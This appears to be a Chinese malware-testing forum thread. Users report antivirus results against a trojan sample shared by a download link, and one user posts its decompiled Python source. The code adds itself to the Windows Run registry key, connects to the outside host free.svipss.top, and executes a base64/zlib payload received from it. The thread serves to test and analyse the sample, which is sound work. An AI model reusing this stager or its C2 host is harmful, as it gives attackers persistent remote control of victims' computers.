1X

hsks

https://cowtransfer.com/s/19a5515b044447

秋日之殇

事件: 检测到恶意对象
应用程序: main_code.exe
用户: DESKTOP-MQPTK29\lybing
用户类型: 发起者
组件: 系统监控
结果说明: 检测到
类型: 木马
名称: PDM:Trojan.Win32.Generic
威胁级别: 高
对象类型: 进程
对象路径: C:\Users\lybing\Desktop\main_code
对象名称: main_code.exe
原因: 行为分析
数据库发布日期: 今天，2023/2/5 9:27:00
MD5: E959D4EAB2BC3A03E16A2679AFBB6FD1

dght432

就拦截了个开机启动项......

PianoA

金山毒霸miss

Shake2333

McAfee双击miss

Anmoe

BEST ATC

熊小度

腾管 kill

aboringman

Avast：0

过CC（



被添加了自启动项（悲）



运行一段时间后自退。

popk

1. # Source Generated with Decompyle++
   
2. # File: main_code.pyc (Python 3.7)
   
3. 
   
4. '''
   
5. \xe4\xbd\x9c\xe8\x80\x85\xef\xbc\x9aVMWARE\xe5\x87\xba\xe7\x94\x9f\xe6\x9c\xba\tQ:SU-BM
   
6. \xe6\x97\xb6\xe9\x97\xb4\xef\xbc\x9a\xe5\x88\x9d\xe9\x9f\xb3\xe7\xba\xaa\xe5\x85\x8311\xe5\xb9\xb44\xe6\x9c\x885\xe6\x97\xa514\xe6\x97\xb6
   
7. '''
   
8. import struct
   
9. import time
   
10. import socket
    
11. import zlib
    
12. import base64
    
13. import win32api
    
14. import win32con
    
15. import winreg
    
16. import os
    
17. 
    
18. def Judge_Key(key_name, reg_root, reg_path = (win32con.HKEY_CURRENT_USER, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run')):
    
19.     '''
    
20.     :param key_name: #  \xe8\xa6\x81\xe6\x9f\xa5\xe8\xaf\xa2\xe7\x9a\x84\xe9\x94\xae\xe5\x90\x8d
    
21.     :param reg_root: # \xe6\xa0\xb9\xe8\x8a\x82\xe7\x82\xb9
    
22. #win32con.HKEY_CURRENT_USER
    
23. #win32con.HKEY_CLASSES_ROOT
    
24. #win32con.HKEY_CURRENT_USER
    
25. #win32con.HKEY_LOCAL_MACHINE
    
26. #win32con.HKEY_USERS
    
27. #win32con.HKEY_CURRENT_CONFIG
    
28.     :param reg_path: #  \xe9\x94\xae\xe7\x9a\x84\xe8\xb7\xaf\xe5\xbe\x84
    
29.     :return:feedback\xe6\x98\xaf\xef\xbc\x880/1/2/3\xef\xbc\x9a\xe5\xad\x98\xe5\x9c\xa8/\xe4\xb8\x8d\xe5\xad\x98\xe5\x9c\xa8/\xe6\x9d\x83\xe9\x99\x90\xe4\xb8\x8d\xe8\xb6\xb3/\xe6\x8a\xa5\xe9\x94\x99\xef\xbc\x89
    
30.     '''
    
31.     reg_flags = win32con.WRITE_OWNER | win32con.KEY_WOW64_64KEY | win32con.KEY_ALL_ACCESS
    
32.    
    
33.     try:
    
34.         key = winreg.OpenKey(reg_root, reg_path, 0, reg_flags)
    
35.         (location, type) = winreg.QueryValueEx(key, key_name)
    
36.         feedback = 0
    
37.     except FileNotFoundError:
    
38.         e = None
    
39.         
    
40.         try:
    
41.             feedback = 1
    
42.         finally:
    
43.             e = None
    
44.             del e
    
45. 
    
46.     except PermissionError:
    
47.         e = None
    
48.         
    
49.         try:
    
50.             feedback = 2
    
51.         finally:
    
52.             e = None
    
53.             del e
    
54. 
    
55.     except:
    
56.         feedback = 3
    
57. 
    
58.     return feedback
    
59. 
    
60. 
    
61. def AutoRun(switch, zdynames, current_file, abspath = ('open', None, None, os.path.abspath(os.path.dirname(__file__)))):
    
62.     path = abspath + '\\' + zdynames
    
63.     judge_key = Judge_Key(win32con.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', current_file, **('reg_root', 'reg_path', 'key_name'))
    
64.     KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
    
65.     key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)
    
66.     if switch == 'open':
    
67.         
    
68.         try:
    
69.             if judge_key == 0:
    
70.                 pass
    
71.             elif judge_key == 1:
    
72.                 win32api.RegSetValueEx(key, current_file, 0, win32con.REG_SZ, path)
    
73.                 win32api.RegCloseKey(key)
    
74. 
    
75.     elif switch == 'close':
    
76.         
    
77.         try:
    
78.             if judge_key == 0:
    
79.                 win32api.RegDeleteValue(key, current_file)
    
80.                 win32api.RegCloseKey(key)
    
81.             elif judge_key == 1:
    
82.                 pass
    
83.             elif judge_key == 2:
    
84.                 pass
    
85.         except:
    
86.             pass
    
87. 
    
88. 
    
89. AutoRun('open', 'main_code.exe', 'main_code', os.path.abspath(os.path.dirname(__file__)), **('switch', 'zdynames', 'current_file', 'abspath'))
    
90. for x in range(10):
    
91.    
    
92.     try:
    
93.         s = socket.socket(2, socket.SOCK_STREAM)
    
94.         s.connect(('free.svipss.top', 53353))
    
95.     continue
    
96.     time.sleep(5)
    
97.     continue
    
98. 
    
99. 
    
100. l = struct.unpack('>I', s.recv(4))[0]
     
101. d = s.recv(l)
     
102. while len(d) < l:
     
103.     d += s.recv(l - len(d))
     
104. exec(zlib.decompress(base64.b64decode(d)), {
     
105.     's': s })
     

复制代码

lip123

火绒miss